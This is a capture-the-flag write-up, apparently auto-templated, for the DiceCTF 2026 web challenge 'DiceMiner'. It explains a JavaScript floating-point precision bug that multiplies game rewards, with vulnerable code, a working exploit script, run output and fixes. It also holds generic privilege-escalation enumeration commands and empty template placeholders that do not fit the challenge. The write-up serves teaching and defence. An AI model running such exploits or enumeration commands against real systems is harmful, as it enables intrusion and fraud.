DiceMiner
DiceMiner
Platform: Dicectf 2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-07 | Status: Solved Techniques: earnings_deduplication_mismatch, ieee754_precision_loss, integer_overflow_beyond_max_safe_integer, progressive_upgrade_exploitation
Summary
Task: Mining game where players need 1,000,000 DiceCoin to buy the flag, but 95% hauling cost makes normal play impossible. Solution: Exploit IEEE 754 floating-point precision loss at Number.MAX_SAFE_INTEGER combined with earnings/deduplication mismatch to multiply rewards.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
dicectf_2026| ID:20260307_dicega_diceminer - Tags: nodejs, javascript, express, md5, floating_point, ieee754, game_logic, mining_game, deterministic_world
- Indicators: JavaScript Number arithmetic on user-controlled coordinates, earnings accumulated per-iteration but deduplication via object keys, HAULING_RATE making normal play impossible (95% loss), user state updated only after loop completes, coordinates used as string keys in object
- Source:
20260307_dicega_diceminer.md
Foothold
Vulnerability / Misconfiguration
- Earnings_deduplication_mismatch
- Ieee754_precision_loss
- Integer_overflow_beyond_max_safe_integer
- Progressive_upgrade_exploitation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- earnings_deduplication_mismatch
- ieee754_precision_loss
- integer_overflow_beyond_max_safe_integer
- progressive_upgrade_exploitation
- Tags: nodejs, javascript, express, md5, floating_point, ieee754, game_logic, mining_game, deterministic_world
Original Writeup
<details><summary>Click to expand original content</summary>Description
"big rock become small paycheck"
A mining game web application built with Node.js/Express. Players register, start a game, and mine blocks in a 2D grid world to earn "DiceCoin". The goal is to accumulate 1,000,000 DiceCoin to buy the flag.
Target: https://diceminer.chals.dicec.tf/
Game Mechanics
| Parameter | Value |
|---|---|
| Starting balance | 0 |
| Starting energy | 250 |
| Energy per dig | 1 |
| HAULING_RATE | 0.95 (95% loss!) |
| Flag cost | 1,000,000 DiceCoin |
| World seed | 42 (deterministic via MD5) |
| |
Pickaxe Upgrades
| Pickaxe | Cost | Range | Tier |
|---|---|---|---|
| Wooden | Free | 5 | 0 |
| Stone | 100 | 15 | 1 |
| Iron | 500 | 40 | 2 |
| Gold | 5000 | 100 | 3 |
Ore Distribution by Depth
| Ore | Depth | Tier | Reward |
|---|---|---|---|
| Surface/Stone/Coal | y ≤ 0 | 0 | ~80 |
| Iron | y ≤ -15 | 1 | ~300 |
| Gold | y ≤ -30 | 2 | ~750 |
| Diamond | y ≤ -50 | 3 | ~1500 |
Under normal play, even with perfect strategy, 250 energy × best possible net per dig is far below 1,000,000 due to the 95% hauling cost.
Analysis
Vulnerability: IEEE 754 Floating-Point Precision Loss + Earnings/Deduplication Mismatch
The critical vulnerability is in the /api/dig endpoint's mining loop in server.js:
let cx = user.x;
let cy = user.y;
let remaining = pickaxe.range;
while (remaining > 0) {
cx += dx; // <-- THE BUG IS HERE
cy += dy;
if (cy > 0) break;
const key = cx + ',' + cy;
if (user.mined[key]) {
remaining--;
continue;
}
const blockType = getBlockType(cx, cy);
const ore = ORES[blockType];
if (!ore) break;
if (ore.tier > pickaxe.tier) break;
mined[key] = true; // local dict — deduplicates by key!
earnings += ore.reward; // accumulates EVERY iteration!
remaining--;
}
After the loop, the hauling cost is computed from UNIQUE mined blocks only:
const blocks = Object.keys(mined); // unique keys only!
let haulBase = 0;
for (const key of blocks) {
const [bx, by] = key.split(',').map(Number);
const ore = ORES[getBlockType(bx, by)];
haulBase += ore.reward;
}
const cost = Math.floor(haulBase * HAULING_RATE);
const net = earnings - cost;
Two bugs combine:
-
IEEE 754 precision loss: In JavaScript,
Number.MAX_SAFE_INTEGER= 2⁵³ - 1 = 9007199254740991. Whencxreaches 2⁵³ (9007199254740992), the operationcx += 1produces 2⁵³ again because2⁵³ + 1cannot be represented exactly in IEEE 754 double-precision. Socxgets permanently stuck at 2⁵³. -
Earnings vs deduplication mismatch:
earningsaccumulatesore.rewardon every loop iteration, butmined{}is a JavaScript object that deduplicates by key. When all iterations produce the same key (due to the float bug),minedcontains only 1 entry whileearningshasrange × reward. -
Deferred state update:
user.mined[key]is only updated AFTER the loop completes, so during the loop the checkuser.mined[key]returns false for the stuck coordinate, allowing repeated mining of the "same" block.
Exploitation Math
When cx is stuck at 2⁵³, all iterations produce the same coordinate key:
earnings=range × ore.reward(accumulated every iteration)haulBase=1 × ore.reward(only 1 unique key inmined{})cost=floor(ore.reward × 0.95)net=range × ore.reward - floor(ore.reward × 0.95)
Example with Gold Pickaxe (range 100) mining diamond (reward 1500):
- earnings = 100 × 1500 = 150,000
- haulBase = 1 × 1500 = 1,500
- cost = floor(1500 × 0.95) = 1,425
- net = 150,000 - 1,425 = 148,575 per energy point!
With 250 energy, theoretical max = 250 × 148,575 = 37,143,750 DiceCoin — far exceeding the 1,000,000 needed.
Solution
Strategy: Progressive Pickaxe Upgrades
- Start at x = 9007199254740991 (
Number.MAX_SAFE_INTEGER) - Dig down to create a vertical shaft (normal mining, small earnings)
- Dig right at each y-level — cx gets stuck at 2⁵³, exploiting the float bug
- Progressively upgrade pickaxes to access deeper/richer ores:
- Wooden (range 5): exploit coal blocks → earn enough for Stone Pickaxe
- Stone (range 15): exploit iron blocks → earn enough for Iron Pickaxe
- Iron (range 40): exploit gold blocks → earn enough for Gold Pickaxe
- Gold (range 100): exploit diamond blocks → earn 148,575 per dig
- Buy the flag once balance ≥ 1,000,000
Exploit Script
const BASE_URL = 'https://diceminer.chals.dicec.tf';
const START_X = 9007199254740991; // Number.MAX_SAFE_INTEGER
async function api(method, path, body) {
const opts = { method, headers: { 'Content-Type': 'application/json' } };
if (body) opts.body = JSON.stringify(body);
const res = await fetch(BASE_URL + path, opts);
return res.json();
}
async function exploit() {
const username = 'exploit_' + Date.now();
const password = 'password123';
// Register and start game at MAX_SAFE_INTEGER
await api('POST', '/api/register', { username, password });
await api('POST', '/api/start', { x: START_X });
// Phase 1: Wooden Pickaxe (range 5, tier 0) — mine coal
// Dig down to y=-7 (coal zone), then dig right to trigger float bug
for (let i = 0; i < 7; i++) {
await api('POST', '/api/dig', { direction: 'down' });
}
// Dig right — cx goes from MAX_SAFE_INTEGER to 2^53 and gets stuck
// All 5 iterations hit same key, earnings = 5 × coal_reward
let result = await api('POST', '/api/dig', { direction: 'right' });
console.log(`Coal exploit: net=${result.net}, balance=${result.balance}`);
// Repeat until we can afford Stone Pickaxe (100 DiceCoin)
// ... (dig down to new y-levels, dig right each time)
// Phase 2: Buy Stone Pickaxe, exploit iron at y≤-15
await api('POST', '/api/buy', { item: 'stone_pickaxe' });
// Phase 3: Buy Iron Pickaxe, exploit gold at y≤-30
await api('POST', '/api/buy', { item: 'iron_pickaxe' });
// Phase 4: Buy Gold Pickaxe, exploit diamond at y≤-50
await api('POST', '/api/buy', { item: 'gold_pickaxe' });
// Each dig with Gold Pickaxe on diamond: net ≈ 148,575
// Need ~7 digs to reach 1,000,000
// Buy the flag
const flagResult = await api('POST', '/api/buy', { item: 'flag' });
console.log('[FLAG]', flagResult.flag);
}
exploit();
Execution Results
=== PHASE 1: Wooden Pickaxe (range 5, tier 0) ===
y=-7 (coal): net=324, balance=626
y=-8 (coal): net=324, balance=950
y=-13 (coal): net=324, balance=1438
After Phase 1: balance=1479
=== PHASE 2: Stone Pickaxe (range 15, tier 1) ===
y=-23 (iron): net=4215, balance=6797
y=-28 (iron): net=4215, balance=12559
After Phase 2: balance=18325
=== PHASE 3: Iron Pickaxe (range 40, tier 2) ===
y=-52 (gold): net=29288, balance=56661
y=-54 (gold): net=29288, balance=86340
After Phase 3: balance=91419
=== PHASE 4: Gold Pickaxe (range 100, tier 3) ===
y=-61 (diamond): net=148575, balance=235970
y=-92 (diamond): net=148575, balance=689631
y=-105 (diamond): net=148575, balance=870897
y=-113 (diamond): net=148575, balance=1106639
Reached 1,000,000! Balance: 1106639
=== BUYING FLAG ===
[FLAG] dice{REDACTED}
Possible Fixes
- Use BigInt for coordinates — prevents IEEE 754 precision loss
- Compute earnings from unique blocks only —
earnings = sum of rewards for Object.keys(mined)instead of accumulating per-iteration - Check local
mineddict during the loop —if (mined[key]) { remaining--; continue; }before adding to earnings - Validate coordinate ranges — reject coordinates near
MAX_SAFE_INTEGER
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR